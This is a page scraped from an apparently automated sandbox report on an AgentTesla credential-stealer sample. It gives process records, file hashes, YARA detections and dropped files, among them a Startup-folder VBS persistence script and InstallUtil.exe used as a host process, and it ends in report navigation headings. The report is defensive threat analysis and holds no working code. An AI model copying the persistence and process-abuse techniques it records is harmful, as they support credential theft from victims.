Target ID:	19
Start time:	22:23:42
Start date:	16/03/2025
Path:	C:\Users\user\AppData\Roaming\pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\pdf.exe"
Imagebase:	0x710000
File size:	197'744 bytes
MD5 hash:	B5C6EB2FECA156E403440F4FAF478A49
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000002.1738552650.0000000003DA3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000013.00000002.1738552650.0000000003DA3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000013.00000002.1738552650.0000000003B7A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000013.00000002.1724440064.0000000002A4E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000013.00000002.1738552650.0000000003A28000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 44%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	22:23:46
Start date:	16/03/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /release
Imagebase:	0xc70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	22:23:46
Start date:	16/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff62fc20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	22:23:46
Start date:	16/03/2025
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /release
Imagebase:	0xf80000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	22:23:58
Start date:	16/03/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xe70000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000017.00000002.2428186075.00000000031FE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000017.00000002.2428186075.00000000031BC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000017.00000002.2428186075.00000000031BC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	22:23:58
Start date:	16/03/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /renew
Imagebase:	0xc70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7880, Parent PID: 4244

General

Target ID:	25
Start time:	22:23:58
Start date:	16/03/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff62fc20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	22:23:58
Start date:	16/03/2025
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /renew
Imagebase:	0xf80000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_enjrdy5x.wl1.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kwf2rzgv.pum.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lw3htrsb.r0f.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tmt0o3yd.iji.psm1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pdf.vbs

C:\Users\user\AppData\Roaming\pdf.exe

C:\Users\user\AppData\Roaming\pdf.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe